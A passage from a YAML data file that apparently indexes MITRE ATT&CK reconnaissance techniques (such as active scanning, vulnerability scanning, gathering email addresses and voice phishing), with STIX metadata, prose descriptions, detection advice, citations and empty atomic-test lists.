Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1597.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41 type: attack-pattern created: '2020-10-02T17:03:45.918Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1597.001 url: https://attack.mitre.org/techniques/T1597/001 - source_name: D3Secutrity CTI Feeds url: https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/ description: Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Threat Intel Vendors description: |- Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1589: technique: modified: '2024-04-19T04:27:00.005Z' name: Gather Victim Identity Information description: |- Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_contributors: - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) - Obsidian Security x_mitre_deprecated: false x_mitre_detection: |- Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - PRE x_mitre_version: '1.3' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4 created: '2020-10-02T14:54:59.263Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1589 external_id: T1589 - source_name: OPM Leak description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020. url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/ - source_name: Detectify Slack Tokens description: Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020. url: https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/ - source_name: GitHub truffleHog description: Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020. url: https://github.com/dxa4481/truffleHog - source_name: GrimBlog UsernameEnum description: GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021. url: https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/ - source_name: Register Uber description: McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020. url: https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/ - source_name: GitHub Gitrob description: 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.' url: https://github.com/michenriksen/gitrob - source_name: CNET Leaks description: Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020. url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/ - source_name: Obsidian SSPR Abuse 2023 description: 'Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.' url: https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/ - source_name: Forbes GitHub Creds description: Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020. url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196 - source_name: Register Deloitte description: 'Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy ''login details leaked''. Retrieved October 19, 2020.' url: https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1595.002: technique: modified: '2023-05-09T14:00:00.188Z' name: Vulnerability Scanning description: |- Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_deprecated: false x_mitre_detection: |- Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.0' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4 created: '2020-10-02T16:55:16.047Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1595/002 external_id: T1595.002 - source_name: OWASP Vuln Scanning description: OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020. url: https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1596: technique: modified: '2022-10-18T22:45:19.607Z' name: Search Open Technical Databases description: |- Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_platforms: - PRE x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' type: attack-pattern id: attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0 created: '2020-10-02T16:56:05.810Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1596 external_id: T1596 - source_name: Circl Passive DNS description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020. url: https://www.circl.lu/services/passive-dns/ - source_name: DNS Dumpster description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020. url: https://dnsdumpster.com/ - source_name: Medium SSL Cert description: Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020. url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2 - source_name: WHOIS description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020. url: https://www.whois.net/ - source_name: Shodan description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020. url: https://shodan.io - source_name: SSLShopper Lookup description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020. url: https://www.sslshopper.com/ssl-checker.html - source_name: DigitalShadows CDN description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020. url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1595: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b type: attack-pattern created: '2020-10-02T16:53:16.526Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1595 url: https://attack.mitre.org/techniques/T1595 - source_name: Botnet Scan url: https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf description: Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020. - source_name: OWASP Fingerprinting url: https://wiki.owasp.org/index.php/OAT-004_Fingerprinting description: OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020. modified: '2022-05-11T14:00:00.188Z' name: Active Scanning description: |- Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1589.002: technique: modified: '2022-10-21T14:30:10.979Z' name: Email Addresses description: |- Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_platforms: - PRE x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.2' x_mitre_contributors: - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262 created: '2020-10-02T14:56:24.866Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1589/002 external_id: T1589.002 - source_name: Azure Active Directory Reconnaisance description: 'Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.' url: https://o365blog.com/post/just-looking/ - source_name: GitHub Office 365 User Enumeration description: gremwell. (2020, March 24). Office 365 User Enumeration. Retrieved May 27, 2022. url: https://github.com/gremwell/o365enum - source_name: GrimBlog UsernameEnum description: GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021. url: https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/ - source_name: HackersArise Email description: Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020. url: https://www.hackers-arise.com/email-scraping-and-maltego - source_name: CNET Leaks description: Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020. url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1598.004: technique: modified: '2023-09-08T21:03:35.477Z' name: Spearphishing Voice description: |- Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or "vishing"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams) Victims may also receive phishing messages that direct them to call a phone number ("callback phishing") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing) Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.0' x_mitre_data_sources: - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289 created: '2023-09-07T21:48:39.516Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1598/004 external_id: T1598.004 - source_name: Avertium callback phishing description: Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023. url: https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing - source_name: BOA Telephone Scams description: Bank of America. (n.d.). How to avoid telephone scams. Retrieved September 8, 2023. url: https://business.bofa.com/en-us/content/what-is-vishing.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1590.006: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413 type: attack-pattern created: '2020-10-02T16:01:35.350Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1590.006 url: https://attack.mitre.org/techniques/T1590/006 - source_name: Nmap Firewalls NIDS url: https://nmap.org/book/firewalls.html description: Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Network Security Appliances description: |- Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1593.002: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968 type: attack-pattern created: '2020-10-02T16:50:12.809Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1593.002 url: https://attack.mitre.org/techniques/T1593/002 - source_name: SecurityTrails Google Hacking url: https://securitytrails.com/blog/google-hacking-techniques description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020. - source_name: ExploitDB GoogleHacking url: https://www.exploit-db.com/google-hacking-database description: Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020. modified: '2022-04-25T14:00:00.188Z' name: Search Engines description: |- Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1591.002: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f type: attack-pattern created: '2020-10-02T16:27:55.713Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1591.002 url: https://attack.mitre.org/techniques/T1591/002 - source_name: ThreatPost Broadvoice Leak url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/ description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Business Relationships description: |- Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1593.003: technique: modified: '2022-10-26T18:01:20.520Z' name: Code Repositories description: "Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. \n\nAdversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: 